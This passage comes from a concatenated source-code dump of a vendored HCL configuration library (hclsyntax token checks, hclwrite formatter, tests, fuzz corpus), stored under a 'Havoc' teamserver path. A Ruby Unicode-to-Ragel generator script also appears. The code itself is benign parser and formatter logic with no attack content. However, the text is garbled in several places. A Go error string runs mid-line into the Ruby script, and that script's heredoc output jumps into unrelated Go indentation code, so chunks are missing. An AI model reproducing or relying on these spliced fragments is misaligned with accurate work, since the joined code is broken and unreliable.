tokenOpensFlushHeredoc(tok Token) bool { if tok.Type != TokenOHeredoc { return false } return bytes.HasPrefix(tok.Bytes, []byte{'<', '<', '-'}) } // checkInvalidTokens does a simple pass across the given tokens and generates // diagnostics for tokens that should _never_ appear in HCL source. This // is intended to avoid the need for the parser to have special support // for them all over. // // Returns a diagnostics with no errors if everything seems acceptable. // Otherwise, returns zero or more error diagnostics, though tries to limit // repetition of the same information. func checkInvalidTokens(tokens Tokens) hcl.Diagnostics { var diags hcl.Diagnostics toldBitwise := 0 toldExponent := 0 toldBacktick := 0 toldApostrophe := 0 toldSemicolon := 0 toldTabs := 0 toldBadUTF8 := 0 for _, tok := range tokens { // copy token so it's safe to point to it tok := tok switch tok.Type { case TokenBitwiseAnd, TokenBitwiseOr, TokenBitwiseXor, TokenBitwiseNot: if toldBitwise < 4 { var suggestion string switch tok.Type { case TokenBitwiseAnd: suggestion = " Did you mean boolean AND (\"&&\")?" case TokenBitwiseOr: suggestion = " Did you mean boolean OR (\"||\")?" case TokenBitwiseNot: suggestion = " Did you mean boolean NOT (\"!\")?" } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported operator", Detail: fmt.Sprintf("Bitwise operators are not supported.%s", suggestion), Subject: &tok.Range, }) toldBitwise++ } case TokenStarStar: if toldExponent < 1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported operator", Detail: "\"**\" is not a supported operator. Exponentiation is not supported as an operator.", Subject: &tok.Range, }) toldExponent++ } case TokenBacktick: // Only report for alternating (even) backticks, so we won't report both start and ends of the same // backtick-quoted string. if (toldBacktick % 2) == 0 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid character", Detail: "The \"`\" character is not valid. To create a multi-line string, use the \"heredoc\" syntax, like \"< # # This script uses the unicode spec to generate a Ragel state machine # that recognizes unicode alphanumeric characters. It generates 5 # character classes: uupper, ulower, ualpha, udigit, and ualnum. # Currently supported encodings are UTF-8 [default] and UCS-4. # # Usage: unicode2ragel.rb [options] # -e, --encoding [ucs4 | utf8] Data encoding # -h, --help Show this message # # This script was originally written as part of the Ferret search # engine library. # # Author: Rakan El-Khalil require 'optparse' require 'open-uri' ENCODINGS = [ :utf8, :ucs4 ] ALPHTYPES = { :utf8 => "byte", :ucs4 => "rune" } DEFAULT_CHART_URL = "http://www.unicode.org/Public/5.1.0/ucd/DerivedCoreProperties.txt" DEFAULT_MACHINE_NAME= "WChar" ### # Display vars & default option TOTAL_WIDTH = 80 RANGE_WIDTH = 23 @encoding = :utf8 @chart_url = DEFAULT_CHART_URL machine_name = DEFAULT_MACHINE_NAME properties = [] @output = $stdout ### # Option parsing cli_opts = OptionParser.new do |opts| opts.on("-e", "--encoding [ucs4 | utf8]", "Data encoding") do |o| @encoding = o.downcase.to_sym end opts.on("-h", "--help", "Show this message") do puts opts exit end opts.on("-u", "--url URL", "URL to process") do |o| @chart_url = o end opts.on("-m", "--machine MACHINE_NAME", "Machine name") do |o| machine_name = o end opts.on("-p", "--properties x,y,z", Array, "Properties to add to machine") do |o| properties = o end opts.on("-o", "--output FILE", "output file") do |o| @output = File.new(o, "w+") end end cli_opts.parse(ARGV) unless ENCODINGS.member? @encoding puts "Invalid encoding: #{@encoding}" puts cli_opts exit end ## # Downloads the document at url and yields every alpha line's hex # range and description. def each_alpha( url, property ) open( url ) do |file| file.each_line do |line| next if line =~ /^#/; next if line !~ /; #{property} #/; range, description = line.split(/;/) range.strip! description.gsub!(/.*#/, '').strip! if range =~ /\.\./ start, stop = range.split '..' else start = stop = range end yield start.hex .. stop.hex, description end end end ### # Formats to hex at minimum width def to_hex( n ) r = "%0X" % n r = "0#{r}" unless (r.length % 2).zero? r end ### # UCS4 is just a straight hex conversion of the unicode codepoint. def to_ucs4( range ) rangestr = "0x" + to_hex(range.begin) rangestr << "..0x" + to_hex(range.end) if range.begin != range.end [ rangestr ] end ## # 0x00 - 0x7f -> 0zzzzzzz[7] # 0x80 - 0x7ff -> 110yyyyy[5] 10zzzzzz[6] # 0x800 - 0xffff -> 1110xxxx[4] 10yyyyyy[6] 10zzzzzz[6] # 0x010000 - 0x10ffff -> 11110www[3] 10xxxxxx[6] 10yyyyyy[6] 10zzzzzz[6] UTF8_BOUNDARIES = [0x7f, 0x7ff, 0xffff, 0x10ffff] def to_utf8_enc( n ) r = 0 if n <= 0x7f r = n elsif n <= 0x7ff y = 0xc0 | (n >> 6) z = 0x80 | (n & 0x3f) r = y << 8 | z elsif n <= 0xffff x = 0xe0 | (n >> 12) y = 0x80 | (n >> 6) & 0x3f z = 0x80 | n & 0x3f r = x << 16 | y << 8 | z elsif n <= 0x10ffff w = 0xf0 | (n >> 18) x = 0x80 | (n >> 12) & 0x3f y = 0x80 | (n >> 6) & 0x3f z = 0x80 | n & 0x3f r = w << 24 | x << 16 | y << 8 | z end to_hex(r) end def from_utf8_enc( n ) n = n.hex r = 0 if n <= 0x7f r = n elsif n <= 0xdfff y = (n >> 8) & 0x1f z = n & 0x3f r = y << 6 | z elsif n <= 0xefffff x = (n >> 16) & 0x0f y = (n >> 8) & 0x3f z = n & 0x3f r = x << 10 | y << 6 | z elsif n <= 0xf7ffffff w = (n >> 24) & 0x07 x = (n >> 16) & 0x3f y = (n >> 8) & 0x3f z = n & 0x3f r = w << 18 | x << 12 | y << 6 | z end r end ### # Given a range, splits it up into ranges that can be continuously # encoded into utf8. Eg: 0x00 .. 0xff => [0x00..0x7f, 0x80..0xff] # This is not strictly needed since the current [5.1] unicode standard # doesn't have ranges that straddle utf8 boundaries. This is included # for completeness as there is no telling if that will ever change. def utf8_ranges( range ) ranges = [] UTF8_BOUNDARIES.each do |max| if range.begin <= max if range.end <= max ranges << range return ranges end ranges << (range.begin .. max) range = (max + 1) .. range.end end end ranges end def build_range( start, stop ) size = start.size/2 left = size - 1 return [""] if size < 1 a = start[0..1] b = stop[0..1] ### # Shared prefix if a == b return build_range(start[2..-1], stop[2..-1]).map do |elt| "0x#{a} " + elt end end ### # Unshared prefix, end of run return ["0x#{a}..0x#{b} "] if left.zero? ### # Unshared prefix, not end of run # Range can be 0x123456..0x56789A # Which is equivalent to: # 0x123456 .. 0x12FFFF # 0x130000 .. 0x55FFFF # 0x560000 .. 0x56789A ret = [] ret << build_range(start, a + "FF" * left) ### # Only generate middle range if need be. if a.hex+1 != b.hex max = to_hex(b.hex - 1) max = "FF" if b == "FF" ret << "0x#{to_hex(a.hex+1)}..0x#{max} " + "0x00..0xFF " * left end ### # Don't generate last range if it is covered by first range ret << build_range(b + "00" * left, stop) unless b == "FF" ret.flatten! end def to_utf8( range ) utf8_ranges( range ).map do |r| begin_enc = to_utf8_enc(r.begin) end_enc = to_utf8_enc(r.end) build_range begin_enc, end_enc end.flatten! end ## # Perform a 3-way comparison of the number of codepoints advertised by # the unicode spec for the given range, the originally parsed range, # and the resulting utf8 encoded range. def count_codepoints( code ) code.split(' ').inject(1) do |acc, elt| if elt =~ /0x(.+)\.\.0x(.+)/ if @encoding == :utf8 acc * (from_utf8_enc($2) - from_utf8_enc($1) + 1) else acc * ($2.hex - $1.hex + 1) end else acc end end end def is_valid?( range, desc, codes ) spec_count = 1 spec_count = $1.to_i if desc =~ /\[(\d+)\]/ range_count = range.end - range.begin + 1 sum = codes.inject(0) { |acc, elt| acc + count_codepoints(elt) } sum == spec_count and sum == range_count end ## # Generate the state matching to stdout def generate_machine( name, property ) pipe = " " @output.puts " #{name} = " each_alpha( @chart_url, property ) do |range, desc| codes = (@encoding == :ucs4) ? to_ucs4(range) : to_utf8(range) #raise "Invalid encoding of range #{range}: #{codes.inspect}" unless # is_valid? range, desc, codes range_width = codes.map { |a| a.size }.max range_width = RANGE_WIDTH if range_width < RANGE_WIDTH desc_width = TOTAL_WIDTH - RANGE_WIDTH - 11 desc_width -= (range_width - RANGE_WIDTH) if range_width > RANGE_WIDTH if desc.size > desc_width desc = desc[0..desc_width - 4] + "..." end codes.each_with_index do |r, idx| desc = "" unless idx.zero? code = "%-#{range_width}s" % r @output.puts " #{pipe} #{code} ##{desc}" pipe = "|" end end @output.puts " ;" @output.puts "" end @output.puts < 0: line.lead[0].SpacesBefore = 2 * len(indents) indents = append(indents, netBrackets) case netBrackets < 0: closed := -netBrackets for closed > 0 && len(indents) > 0 { switch { case closed > indents[len(indents)-1]: closed -= indents[len(indents)-1] indents = indents[:len(indents)-1] case closed < indents[len(indents)-1]: indents[len(indents)-1] -= closed closed = 0 default: indents = indents[:len(indents)-1] closed = 0 } } line.lead[0].SpacesBefore = 2 * len(indents) default: line.lead[0].SpacesBefore = 2 * len(indents) } } } func formatSpaces(lines []formatLine) { for _, line := range lines { for i, token := range line.lead { var before, after *Token if i > 0 { before = line.lead[i-1] } else { before = nilToken } if i < (len(line.lead) - 1) { after = line.lead[i+1] } else { after = nilToken } if spaceAfterToken(token, before, after) { after.SpacesBefore = 1 } else { after.SpacesBefore = 0 } } for i, token := range line.assign { if i == 0 { // first token in "assign" always has one space before to // separate the equals sign from what it's assigning. token.SpacesBefore = 1 } var before, after *Token if i > 0 { before = line.assign[i-1] } else { before = nilToken } if i < (len(line.assign) - 1) { after = line.assign[i+1] } else { after = nilToken } if spaceAfterToken(token, before, after) { after.SpacesBefore = 1 } else { after.SpacesBefore = 0 } } } } func formatCells(lines []formatLine) { chainStart := -1 maxColumns := 0 // We'll deal with the "assign" cell first, since moving that will // also impact the "comment" cell. closeAssignChain := func(i int) { for _, chainLine := range lines[chainStart:i] { columns := chainLine.lead.Columns() spaces := (maxColumns - columns) + 1 chainLine.assign[0].SpacesBefore = spaces } chainStart = -1 maxColumns = 0 } for i, line := range lines { if line.assign == nil { if chainStart != -1 { closeAssignChain(i) } } else { if chainStart == -1 { chainStart = i } columns := line.lead.Columns() if columns > maxColumns { maxColumns = columns } } } if chainStart != -1 { closeAssignChain(len(lines)) } // Now we'll deal with the comments closeCommentChain := func(i int) { for _, chainLine := range lines[chainStart:i] { columns := chainLine.lead.Columns() + chainLine.assign.Columns() spaces := (maxColumns - columns) + 1 chainLine.comment[0].SpacesBefore = spaces } chainStart = -1 maxColumns = 0 } for i, line := range lines { if line.comment == nil { if chainStart != -1 { closeCommentChain(i) } } else { if chainStart == -1 { chainStart = i } columns := line.lead.Columns() + line.assign.Columns() if columns > maxColumns { maxColumns = columns } } } if chainStart != -1 { closeCommentChain(len(lines)) } } // spaceAfterToken decides whether a particular subject token should have a // space after it when surrounded by the given before and after tokens. // "before" can be TokenNil, if the subject token is at the start of a sequence. func spaceAfterToken(subject, before, after *Token) bool { switch { case after.Type == hclsyntax.TokenNewline || after.Type == hclsyntax.TokenNil: // Never add spaces before a newline return false case subject.Type == hclsyntax.TokenIdent && after.Type == hclsyntax.TokenOParen: // Don't split a function name from open paren in a call return false case subject.Type == hclsyntax.TokenDot || after.Type == hclsyntax.TokenDot: // Don't use spaces around attribute access dots return false case after.Type == hclsyntax.TokenComma || after.Type == hclsyntax.TokenEllipsis: // No space right before a comma or ... in an argument list return false case subject.Type == hclsyntax.TokenComma: // Always a space after a comma return true case subject.Type == hclsyntax.TokenQuotedLit || subject.Type == hclsyntax.TokenStringLit || subject.Type == hclsyntax.TokenOQuote || subject.Type == hclsyntax.TokenOHeredoc || after.Type == hclsyntax.TokenQuotedLit || after.Type == hclsyntax.TokenStringLit || after.Type == hclsyntax.TokenCQuote || after.Type == hclsyntax.TokenCHeredoc: // No extra spaces within templates return false case inKeyword.TokenMatches(subject.asHCLSyntax()) && before.Type == hclsyntax.TokenIdent: // This is a special case for inside for expressions where a user // might want to use a literal tuple constructor: // [for x in [foo]: x] // ... in that case, we would normally produce in[foo] thinking that // in is a reference, but we'll recognize it as a keyword here instead // to make the result less confusing. return true case after.Type == hclsyntax.TokenOBrack && (subject.Type == hclsyntax.TokenIdent || subject.Type == hclsyntax.TokenNumberLit || tokenBracketChange(subject) < 0): return false case subject.Type == hclsyntax.TokenBang: // No space after a bang return false case subject.Type == hclsyntax.TokenMinus: // Since a minus can either be subtraction or negation, and the latter // should _not_ have a space after it, we need to use some heuristics // to decide which case this is. // We guess that we have a negation if the token before doesn't look // like it could be the end of an expression. switch before.Type { case hclsyntax.TokenNil: // Minus at the start of input must be a negation return false case hclsyntax.TokenOParen, hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenEqual, hclsyntax.TokenColon, hclsyntax.TokenComma, hclsyntax.TokenQuestion: // Minus immediately after an opening bracket or separator must be a negation. return false case hclsyntax.TokenPlus, hclsyntax.TokenStar, hclsyntax.TokenSlash, hclsyntax.TokenPercent, hclsyntax.TokenMinus: // Minus immediately after another arithmetic operator must be negation. return false case hclsyntax.TokenEqualOp, hclsyntax.TokenNotEqual, hclsyntax.TokenGreaterThan, hclsyntax.TokenGreaterThanEq, hclsyntax.TokenLessThan, hclsyntax.TokenLessThanEq: // Minus immediately after another comparison operator must be negation. return false case hclsyntax.TokenAnd, hclsyntax.TokenOr, hclsyntax.TokenBang: // Minus immediately after logical operator doesn't make sense but probably intended as negation. return false default: return true } case subject.Type == hclsyntax.TokenOBrace || after.Type == hclsyntax.TokenCBrace: // Unlike other bracket types, braces have spaces on both sides of them, // both in single-line nested blocks foo { bar = baz } and in object // constructor expressions foo = { bar = baz }. if subject.Type == hclsyntax.TokenOBrace && after.Type == hclsyntax.TokenCBrace { // An open brace followed by a close brace is an exception, however. // e.g. foo {} rather than foo { } return false } return true // In the unlikely event that an interpolation expression is just // a single object constructor, we'll put a space between the ${ and // the following { to make this more obvious, and then the same // thing for the two braces at the end. case (subject.Type == hclsyntax.TokenTemplateInterp || subject.Type == hclsyntax.TokenTemplateControl) && after.Type == hclsyntax.TokenOBrace: return true case subject.Type == hclsyntax.TokenCBrace && after.Type == hclsyntax.TokenTemplateSeqEnd: return true // Don't add spaces between interpolated items case subject.Type == hclsyntax.TokenTemplateSeqEnd && (after.Type == hclsyntax.TokenTemplateInterp || after.Type == hclsyntax.TokenTemplateControl): return false case tokenBracketChange(subject) > 0: // No spaces after open brackets return false case tokenBracketChange(after) < 0: // No spaces before close brackets return false default: // Most tokens are space-separated return true } } func linesForFormat(tokens Tokens) []formatLine { if len(tokens) == 0 { return make([]formatLine, 0) } // first we'll count our lines, so we can allocate the array for them in // a single block. (We want to minimize memory pressure in this codepath, // so it can be run somewhat-frequently by editor integrations.) lineCount := 1 // if there are zero newlines then there is one line for _, tok := range tokens { if tokenIsNewline(tok) { lineCount++ } } // To start, we'll just put everything in the "lead" cell on each line, // and then do another pass over the lines afterwards to adjust. lines := make([]formatLine, lineCount) li := 0 lineStart := 0 for i, tok := range tokens { if tok.Type == hclsyntax.TokenEOF { // The EOF token doesn't belong to any line, and terminates the // token sequence. lines[li].lead = tokens[lineStart:i] break } if tokenIsNewline(tok) { lines[li].lead = tokens[lineStart : i+1] lineStart = i + 1 li++ } } // If a set of tokens doesn't end in TokenEOF (e.g. because it's a // fragment of tokens from the middle of a file) then we might fall // out here with a line still pending. if lineStart < len(tokens) { lines[li].lead = tokens[lineStart:] if lines[li].lead[len(lines[li].lead)-1].Type == hclsyntax.TokenEOF { lines[li].lead = lines[li].lead[:len(lines[li].lead)-1] } } // Now we'll pick off any trailing comments and attribute assignments // to shuffle off into the "comment" and "assign" cells. for i := range lines { line := &lines[i] if len(line.lead) == 0 { // if the line is empty then there's nothing for us to do // (this should happen only for the final line, because all other // lines would have a newline token of some kind) continue } if len(line.lead) > 1 && line.lead[len(line.lead)-1].Type == hclsyntax.TokenComment { line.comment = line.lead[len(line.lead)-1:] line.lead = line.lead[:len(line.lead)-1] } for i, tok := range line.lead { if i > 0 && tok.Type == hclsyntax.TokenEqual { // We only move the tokens into "assign" if the RHS seems to // be a whole expression, which we determine by counting // brackets. If there's a net positive number of brackets // then that suggests we're introducing a multi-line expression. netBrackets := 0 for _, token := range line.lead[i:] { netBrackets += tokenBracketChange(token) } if netBrackets == 0 { line.assign = line.lead[i:] line.lead = line.lead[:i] } break } } } return lines } func tokenIsNewline(tok *Token) bool { if tok.Type == hclsyntax.TokenNewline { return true } else if tok.Type == hclsyntax.TokenComment { // Single line tokens (# and //) consume their terminating newline, // so we need to treat them as newline tokens as well. if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { return true } } return false } func tokenBracketChange(tok *Token) int { switch tok.Type { case hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenOParen, hclsyntax.TokenTemplateControl, hclsyntax.TokenTemplateInterp: return 1 case hclsyntax.TokenCBrace, hclsyntax.TokenCBrack, hclsyntax.TokenCParen, hclsyntax.TokenTemplateSeqEnd: return -1 default: return 0 } } // formatLine represents a single line of source code for formatting purposes, // splitting its tokens into up to three "cells": // // lead: always present, representing everything up to one of the others // assign: if line contains an attribute assignment, represents the tokens // starting at (and including) the equals symbol // comment: if line contains any non-comment tokens and ends with a // single-line comment token, represents the comment. // // When formatting, the leading spaces of the first tokens in each of these // cells is adjusted to align vertically their occurrences on consecutive // rows. type formatLine struct { lead Tokens assign Tokens comment Tokens } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/format_test.go ================================================ package hclwrite import ( "fmt" "testing" "reflect" "github.com/davecgh/go-spew/spew" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestFormat(t *testing.T) { tests := []struct { input string want string }{ { ``, ``, }, { `a=1`, `a = 1`, }, { `a=b.c`, `a = b.c`, }, { `a=b[c]`, `a = b[c]`, }, { `a=b()[c]`, `a = b()[c]`, }, { `a=["hello"][0]`, `a = ["hello"][0]`, }, { `( a+2 )`, `(a + 2)`, }, { `( a*2 )`, `(a * 2)`, }, { `( a+-2 )`, `(a + -2)`, }, { `( a*-2 )`, `(a * -2)`, }, { `(-2+1)`, `(-2 + 1)`, }, { `foo(1, -2,a*b, b,c)`, `foo(1, -2, a * b, b, c)`, }, { `foo(a,b...)`, `foo(a, b...)`, }, { `! true`, `!true`, }, { `a="hello ${ name }"`, `a = "hello ${name}"`, }, { `a="hello ${~ name ~}"`, `a = "hello ${~name~}"`, }, { `a="${b}${c}${ d } ${e}"`, `a = "${b}${c}${d} ${e}"`, }, { `"%{if true}${var.foo}%{endif}"`, `"%{if true}${var.foo}%{endif}"`, }, { `b{}`, `b {}`, }, { ` "${ hello }" `, ` "${ hello }" `, }, { ` foo( 1, - 2, a*b, b, c, ) `, ` foo( 1, -2, a * b, b, c, ) `, }, { `a?b:c`, `a ? b : c`, }, { `[ [ ] ]`, `[[]]`, }, { `[for x in y : x]`, `[for x in y : x]`, }, { `[for x in [y] : x]`, `[for x in [y] : x]`, }, { ` [ [ a ] ] `, ` [ [ a ] ] `, }, { ` [[ a ]] `, ` [[ a ]] `, }, { ` [[ [ a ] ]] `, ` [[ [ a ] ]] `, }, { // degenerate case with asymmetrical brackets ` [[ [ a ]] ] `, ` [[ [ a ]] ] `, }, { ` b { a = 1 } `, ` b { a = 1 } `, }, { ` b {a = 1} `, ` b { a = 1 } `, }, { ` a = 1 bungle = 2 `, ` a = 1 bungle = 2 `, }, { ` a = 1 bungle = 2 `, ` a = 1 bungle = 2 `, }, { ` a = 1 # foo bungle = 2 `, ` a = 1 # foo bungle = 2 `, }, { ` a = 1 # foo bungle = "bonce" # baz `, ` a = 1 # foo bungle = "bonce" # baz `, }, { ` # here we go a = 1 # foo bungle = "bonce" # baz `, ` # here we go a = 1 # foo bungle = "bonce" # baz `, }, { ` foo {} # here we go a = 1 # foo bungle = "bonce" # baz `, ` foo {} # here we go a = 1 # foo bungle = "bonce" # baz `, }, { ` a = 1 # foo bungle = "bonce" # baz zebra = "striped" # baz `, ` a = 1 # foo bungle = "bonce" # baz zebra = "striped" # baz `, }, { ` a = 1 # foo bungle = ( "bonce" ) # baz zebra = "striped" # baz `, ` a = 1 # foo bungle = ( "bonce" ) # baz zebra = "striped" # baz `, }, { ` a="apple"# foo bungle=(# woo parens "bonce" )# baz zebra="striped"# baz `, ` a = "apple" # foo bungle = ( # woo parens "bonce" ) # baz zebra = "striped" # baz `, }, { ` 𝒜 = 1 # foo bungle = "🇬🇧" # baz zebra = "striped" # baz `, ` 𝒜 = 1 # foo bungle = "🇬🇧" # baz zebra = "striped" # baz `, }, { ` foo { # ... } `, ` foo { # ... } `, }, { ` foo = { # ... } `, ` foo = { # ... } `, }, { ` foo = [ # ... ] `, ` foo = [ # ... ] `, }, { ` foo = [{ # ... }] `, ` foo = [{ # ... }] `, }, { ` foo { bar { # ... } } `, ` foo { bar { # ... } } `, }, { ` foo { bar = { # ... } } `, ` foo { bar = { # ... } } `, }, { ` foo { bar = [ # ... ] } `, ` foo { bar = [ # ... ] } `, }, { ` foo { bar = < Note: `go-fuzz` does not interact well with `goenv`. If you encounter build errors where the package `go.fuzz.main` could not be found, you may need to use a machine with a direct installation of Go. ## Understanding the result A small number of subdirectories will be created in the work directory. If you let `go-fuzz` run for a few minutes (the more minutes the better) it may detect "crashers", which are inputs that caused the parser to panic. Details about these are written to `$FUZZ_WORK_DIR/crashers`: ``` $ ls /tmp/hcl2-fuzz-config/crashers 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted ``` The base file above (with no extension) is the input that caused a crash. The `.output` file contains the panic stack trace, which you can use as a clue to figure out what caused the crash. A good first step to fixing a detected crasher is to copy the failing input into one of the unit tests in the `hclwrite` package and see it crash there too. After that, it's easy to re-run the test as you try to fix it. The file with the `.quoted` extension contains a form of the input that is quoted in Go syntax for easy copy-paste into a test case, even if the input contains non-printable characters or other inconvenient symbols. ## Rebuilding for new Upstream Code An archive file is created for `go-fuzz` to use on the first run of each of the above, as a `.zip` file created in this directory. If upstream code is changed these will need to be deleted to cause them to be rebuilt with the latest code: ``` $ make clean ``` ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr-expr.hcl ================================================ foo = upper(bar + baz[1]) ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr-literal.hcl ================================================ foo = "bar" ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/attr.hcl ================================================ a = foo.bar ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-attrs.hcl ================================================ block { foo = true } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-comment.hcl ================================================ /* multi line comment */ ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-empty.hcl ================================================ block { } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/block-nested.hcl ================================================ block { another_block { foo = bar } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/complex.hcl ================================================ a = foo.bar[1].baz["foo"].pizza ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/empty.hcl ================================================ ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/escape-dollar.hcl ================================================ a = "hi $${var.foo}" ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/escape-newline.hcl ================================================ a = "bar\nbaz" ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/function-call-tmpl.hcl ================================================ a = "b ${title(var.name)} ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/function-call.hcl ================================================ a = title(var.name) ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/hash-comment.hcl ================================================ # another comment ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/index.hcl ================================================ a = foo[1] ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/int-tmpl.hcl ================================================ a = "foo ${42}" ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/int.hcl ================================================ a = 42 ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/just-interp.hcl ================================================ a = "${var.bar}" ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/literal.hcl ================================================ a = foo ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/lots-of-comments.hcl ================================================ // comment block { // another comment another_block { # comment // comment foo = bar } /* commented out block blah { bar = foo } */ } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/slash-comment.hcl ================================================ // comment ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/splat-attr.hcl ================================================ a = foo.bar.*.baz ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/splat-dot-full.hcl ================================================ a = foo.bar.* ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/splat-full.hcl ================================================ a = foo.bar[*].baz ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/traversal-dot-index-terminal.hcl ================================================ a = foo.bar.0 ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/traversal-dot-index.hcl ================================================ a = foo.bar.4.baz ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/traversal-index.hcl ================================================ a = foo.bar[4].baz ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/utf8.hcl ================================================ foo = "föo ${föo("föo")}" ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/var.hcl ================================================ a = var.bar ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/fuzz.go ================================================ package fuzzconfig import ( "io/ioutil" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclwrite" ) func Fuzz(data []byte) int { file, diags := hclwrite.ParseConfig(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } _, err := file.WriteTo(ioutil.Discard) if err != nil { return 0 } return 1 } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/generate.go ================================================ package hclwrite import ( "fmt" "unicode" "unicode/utf8" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) // TokensForValue returns a sequence of tokens that represents the given // constant value. // // This function only supports types that are used by HCL. In particular, it // does not support capsule types and will panic if given one. // // It is not possible to express an unknown value in source code, so this // function will panic if the given value is unknown or contains any unknown // values. A caller can call the value's IsWhollyKnown method to verify that // no unknown values are present before calling TokensForValue. func TokensForValue(val cty.Value) Tokens { toks := appendTokensForValue(val, nil) format(toks) // fiddle with the SpacesBefore field to get canonical spacing return toks } // TokensForTraversal returns a sequence of tokens that represents the given // traversal. // // If the traversal is absolute then the result is a self-contained, valid // reference expression. If the traversal is relative then the returned tokens // could be appended to some other expression tokens to traverse into the // represented expression. func TokensForTraversal(traversal hcl.Traversal) Tokens { toks := appendTokensForTraversal(traversal, nil) format(toks) // fiddle with the SpacesBefore field to get canonical spacing return toks } func appendTokensForValue(val cty.Value, toks Tokens) Tokens { switch { case !val.IsKnown(): panic("cannot produce tokens for unknown value") case val.IsNull(): toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(`null`), }) case val.Type() == cty.Bool: var src []byte if val.True() { src = []byte(`true`) } else { src = []byte(`false`) } toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: src, }) case val.Type() == cty.Number: bf := val.AsBigFloat() srcStr := bf.Text('f', -1) toks = append(toks, &Token{ Type: hclsyntax.TokenNumberLit, Bytes: []byte(srcStr), }) case val.Type() == cty.String: // TODO: If it's a multi-line string ending in a newline, format // it as a HEREDOC instead. src := escapeQuotedStringLit(val.AsString()) toks = append(toks, &Token{ Type: hclsyntax.TokenOQuote, Bytes: []byte{'"'}, }) if len(src) > 0 { toks = append(toks, &Token{ Type: hclsyntax.TokenQuotedLit, Bytes: src, }) } toks = append(toks, &Token{ Type: hclsyntax.TokenCQuote, Bytes: []byte{'"'}, }) case val.Type().IsListType() || val.Type().IsSetType() || val.Type().IsTupleType(): toks = append(toks, &Token{ Type: hclsyntax.TokenOBrack, Bytes: []byte{'['}, }) i := 0 for it := val.ElementIterator(); it.Next(); { if i > 0 { toks = append(toks, &Token{ Type: hclsyntax.TokenComma, Bytes: []byte{','}, }) } _, eVal := it.Element() toks = appendTokensForValue(eVal, toks) i++ } toks = append(toks, &Token{ Type: hclsyntax.TokenCBrack, Bytes: []byte{']'}, }) case val.Type().IsMapType() || val.Type().IsObjectType(): toks = append(toks, &Token{ Type: hclsyntax.TokenOBrace, Bytes: []byte{'{'}, }) if val.LengthInt() > 0 { toks = append(toks, &Token{ Type: hclsyntax.TokenNewline, Bytes: []byte{'\n'}, }) } i := 0 for it := val.ElementIterator(); it.Next(); { eKey, eVal := it.Element() if hclsyntax.ValidIdentifier(eKey.AsString()) { toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(eKey.AsString()), }) } else { toks = appendTokensForValue(eKey, toks) } toks = append(toks, &Token{ Type: hclsyntax.TokenEqual, Bytes: []byte{'='}, }) toks = appendTokensForValue(eVal, toks) toks = append(toks, &Token{ Type: hclsyntax.TokenNewline, Bytes: []byte{'\n'}, }) i++ } toks = append(toks, &Token{ Type: hclsyntax.TokenCBrace, Bytes: []byte{'}'}, }) default: panic(fmt.Sprintf("cannot produce tokens for %#v", val)) } return toks } func appendTokensForTraversal(traversal hcl.Traversal, toks Tokens) Tokens { for _, step := range traversal { toks = 